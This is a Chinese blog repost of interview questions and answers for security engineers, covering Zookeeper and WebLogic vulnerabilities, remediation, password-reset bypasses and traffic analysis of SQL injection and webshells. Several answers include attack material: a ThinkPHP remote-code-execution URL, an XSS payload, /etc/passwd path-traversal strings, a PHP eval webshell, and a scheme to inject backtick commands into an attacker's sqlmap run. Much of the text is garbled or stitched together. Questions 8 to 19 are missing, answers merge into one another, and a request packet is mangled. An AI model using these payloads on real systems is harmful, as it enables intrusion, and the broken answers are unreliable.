安全工程师转正面试题

访客 300 0
本文来源:安全工程师转正面试题

原创:3s_NwGeek合天智汇

原创投稿活动:重金悬赏 | 合天原创投稿等你来

最近我们公司准备有几个实习生要转正了,领导让我亲自出一些结合实际安全工作的题目,题目的由来都是从工作中遇到过的问题到解决的的过程中产生的。从简单到难的题目,既能考到实习生的知识基础,又能考到他们的学习能力(面对不同未接触过的难题如何去应对),还有就是情景开放式答题,网上能查到一点资料,但是又需要自己思考的,结合实际工作来回答的。好的话不多说,由简至难奉上题目,以及参考答案,希望我的工作经验中发现的问题能帮到大家。1. Zookeeper默认的端口

三个端口:

  1. 2181:对cline端提供服务
  2. 3888:选举leader使用
  3. 2888:集群内机器通讯使用(Leader监听此端口)

官方文档:

http://zookeeper.apache.org/doc/r3.5.5/zookeeperStarted.html

参考资料1:

https://blog.csdn.net/webnum/article/details/76653665

参考资料2:

https://www.jianshu.com/p/5e012efb2d82

2. Zookeeper主要的作用:

开源的、分布式的、应用程序协调服务

推荐:参考资料1(ZooKeeper是什么)——

https://blog.csdn.net/u012152619/article/details/52901319

参考资料2(ZooKeeper详解) ——

https://www.imooc.com/article/251135

参考资料3(漫画图解ZooKeeper)——

https://juejin.im/post/5b037d5c518825426e024473

3. Zookeeper 未授权访问的检查方法

telnet zookeeper端口 输入envi,回显路径等信息则存在zookeeper未授权访问漏洞

4. 请列出让客户满意的Zookeeper未授权访问漏洞的修复方案

根据客户实际情况可以提供以下修复方案:

  1. 禁止将zookeeper暴露在公网
  2. 使用iptables对端口进行访问控制
  3. 添加访问控制,根据情况选择对应方式(认证用户,用户名密码)
  4. 绑定指定IP访问

参考链接1:https://thief.one/2017/12/08/1

参考链接2:

https://p4yche.com/2018/08/10/zookeepr%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E/zookper%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE/

5. Weblogic后台默认密码

weblogic/weblogic

6. weblogic CVE-2019-2725漏洞描述与让客户满意的修复方案

漏洞描述 :由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。

修复建议 : 官方目前已发布针对此漏洞的紧急修复补丁,可以采取以下4种方式进行防护。

  1. 及时打上官方CVE-2019-2725补丁包官方已于4月26日公布紧急补丁包,下载地址:https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html?from=timeline
  2. 升级本地JDK版本因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。
  3. 配置URL访问控制策略部署于公网的WebLogic服务器,可通过ACL禁止对/_async/及/wls-wsat/路径的访问。
  4. 删除不安全文件删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。具体文件路径如下:10.3.*版本:
\Middleware\wlserver_10.3\server\lib\%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\
%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\

12.1.3版本:

\Middleware\Oracle_Home\oracle_common\modules\%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\

注:wls9_async_response.war及wls-wsat.war属于一级应用包,对其进行移除或更名操作可能造成未知的后果,Oracle官方不建议对其进行此类操作。若在直接删除此包的情况下应用出现问题,将无法得到Oracle产品部门的技术支持。请用户自行进行影响评估,并对此文件进行备份后,再执行此操作。

参考网站1:

https://www.chainnews.com/articles/956692560698.htm

参考网站2:

https://www.anquanke.com/post/id/177381#h2-3

6.2

假设现weblogic爆发0day漏洞,weblogic的/vulpath存在漏洞,所有存在http://ip:port/vulpath 路径的系统均受影响,现已完成目标资产的端口扫描,需要你紧急排查受影响资产,请说说你的做法

假设端口扫描时已有版本识别,挑出所有weblogic服务 挑出weblogic服务存在IP+端口地址后,通过url批量检测脚本httpCatcher.py检测出是否存在ip:port/vulpath路径200返回值,返回即为受影响资产

用法为:将IP+端口存在一个ip.txt文件。

安全工程师转正面试题-第1张图片-网盾网络安全培训

然后修改httpCatcher.py的路劲改为/vulpath

安全工程师转正面试题-第2张图片-网盾网络安全培训

安全工程师转正面试题-第3张图片-网盾网络安全培训

输入命令python httpCatcher.py ip.txt 1.csv即可得到1.csv文件,查看即可

安全工程师转正面试题-第4张图片-网盾网络安全培训

安全工程师转正面试题-第5张图片-网盾网络安全培训

安全工程师转正面试题-第6张图片-网盾网络安全培训

7.以下exp是属于哪个cms的远程代码执行漏洞:

http://localhost:9096/public/index.php?s=index/think\app/invokefunctiontd>test/td>,即可构建出payload:test/td>svg/onload=console.log(1)>td>, 最后输出结果为:

td>test/td>svg/onload=console.log(1)>td>/td>

20.如何验证存在任意文件下载的漏洞

一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。

利用条件:

  • 存在读文件的函数
  • 读取文件的路径用户可控且未校验或校验不严
  • 输出了文件内容

任意文件下载和任意文件读取有着相似的地方:就是都需要路径 例如 index.php?f=file:///etc/passwd index.php?f=../index.php

修复方案:

两者的修复方案如下:

  • 过滤用户数据,如“/”,“*”,"."等特殊字符
  • 更新中间件
  • 要下载的文件地址保存至数据库中。
  • 文件路径保存至数据库,让用户提交文件对应ID或session下载文件。
  • 用户下载文件之前需要进行权限判断。
  • 文件放在web无法直接访问的目录下。
  • 不允许提供目录遍历服务。
  • 公开文件可放置在web应用程序下载目录中通过链接进行下载

参考链接:

https://www.cnblogs.com/zhaijiahui/p/8459661.html

21.如何判别web服务器是windows还是linux

方法有许多,

  • 方法一:nmap带上-O参数
  • 方法二:查看http报头Server字段
  • 方法三:Windows对于大小写不敏感,替换某个字母为大写返回正常为Windows,反之Linux
  • 方法四:TTL返回值,TTL为64,有很大可能性为Linux,TTL为128,有很大可能性为Windows,TTL为255,有很大可能性为UNIX(可修改TTL)

参考链接:

https://www.zhihu.com/question/20375910

22.ddos攻击如何去防范

DDoS分为很多种,对于不同的类型有着不同的应付方式

目前对于低网络层的DDoS攻击有一些有效的防护手段,如丢弃第一次SYN包,上流量防护设备,上WAF封禁地址等

比较难缠的是第七层,第八层的CC攻击,它会找到目标网站上比较消耗资源的关键位置,重复发起攻击以消耗CPU/内存/数据库IO等资源 目前的应付手段有:优化资源消耗高位置的代码,增加硬件设备,上云,购买专业安全公司的安全服务

除此之外,隐藏服务器的真实IP、上云WAF、CDN、负载均衡等设备,或者暂时将域名解析到公安网警网站等 也是可以作为选择方案

23. web短信重置密码有可能有哪几种绕过方式

1,短信验证码可爆破;

2,短信验证码显示在获取验证码请求的回显中;

3,注册手机号及短信验证码未进行匹配性验证;

4,用户名、手机号码、短信验证码三者没有进行匹配性验证;

5,短信验证码的验证在本地客户端进行验证;

6,重置步骤未进行校验;

7,重置请求未验证身份;

8,登陆成功修改密码功能平行越权;

9,未校验身份信息的唯一标识cookie信息;

参考链接1:

https://www.cnblogs.com/peterpan0707007/p/8721094.html

参考链接2:

http://www.nxadmin.com/web/1642.html

24.假设发现数据库短时间内查询异常次数增多,描述sql查询异常流量分析的思路。

数据库短时间内查询增多有可能遭遇到了扫描或者sql注入测试,可以结合流量分析工具进行研判

select 和 union 为数据库查询语句特征,当这两者数量出现次数较多而且差异较小可能存在SQL注入漏洞或正在被扫描器扫描,可监控这两个关键字,但还需要进一步查看具体请求参数

如:

1) 使用wireshark打开抓取后的流量包。

2) 对于抓取到的数据包筛选出HTTP协议包,在统计处筛选出短时间内流量较大的IP

安全工程师转正面试题-第7张图片-网盾网络安全培训

3) 尝试定位一些基本的注入特征(select、union、()、/*、sleep等)

安全工程师转正面试题-第2张图片-网盾网络安全培训

安全工程师转正面试题-第9张图片-网盾网络安全培训

4) 筛选出可以攻击IP,分析流量包HTTP流。即可定位

安全工程师转正面试题-第10张图片-网盾网络安全培训

25.假设发现web应用服务器发现文件异常增多,初步怀疑被上传webshell,描述流量分析溯源的思路。

可利用流量工具进行溯源:

1) 查看eval、z0、shell、whoami等关键字,查看出现次数过多的时候,可能需要查看是哪个页面发起的请求,有可能是webshell

2) 通过WireShark工具快速搜索关键字,定位到异常流量包

3) 找出异常IP和所上传的内容,查看是否为webshell

如何定位到攻击IP:

1) 首先通过选择-统计-对话查看流量的走向情况,定位可疑的IP地址

2) 根据定位到的IP地址,尝试对上传的webshell进行定位ip.addr == ip ?php eval($_POST[“cmd”]) ?> ,现在使用webshell直接构造请求包上传文件,请给出使用webshell直接上传文件的请求包。

POST /1.php HTTP/1.1User-Agent: Java/1.8.0_211Host: 127.0.0.1Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: keep-aliveContent-type: application/x-www-form-urlencodedContent-Length: 800cmd=@eval.(base64_decode($_POST[action])); Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Content-Length: 478 Connection: close

test=123 已知新手攻击者会直接复制post的data使用sqlmap 命令:

sqlmap -u http://3s_nwgeek.com/test.php

--data “post的data” --dbs --random-agent来进行sql注入漏洞检测,现在你是网站的开发,你会如何进行反渗透,令攻击者在输入测试指令的过程中不经意地执行了你的恶意指令。

其实sqlmap的命令中, 在Linux下的bash命令为: sqlmap -u http://3s_nwgeek.com/test.php --data “post的data” --dbs --random-agent 其中如果在命令中插入双引号中的”!!”或者”!+数字”,会替换成历史命令,执行”history”命令,就可以知道哪些数字对应哪些命令了。 如果我将”!”放入到http请求中, 执行了bash# sqlmap -u "www.asnine.com/test" --data"post!!request=hacked" 首先双引号中的!!会被替换成你最近执行的一条历史命令 上面只是一个例子

那么如果将 ` 这个符号插进命令行中, 任何在 `` 之间的命令,都会被执行 如果我将这些特殊的字符(“!” , “`”…)放到get/post/cookie等http请求参数中,万一有人用sqlmap去对该网站进行安全测试,而注入参数正好包含了这些特殊字符,那么有意思的事情就产生了

构建的参数如下:

sqlmap –u "

标签: 合天智汇

发表评论 (已有0条评论)

还木有评论哦,快来抢沙发吧~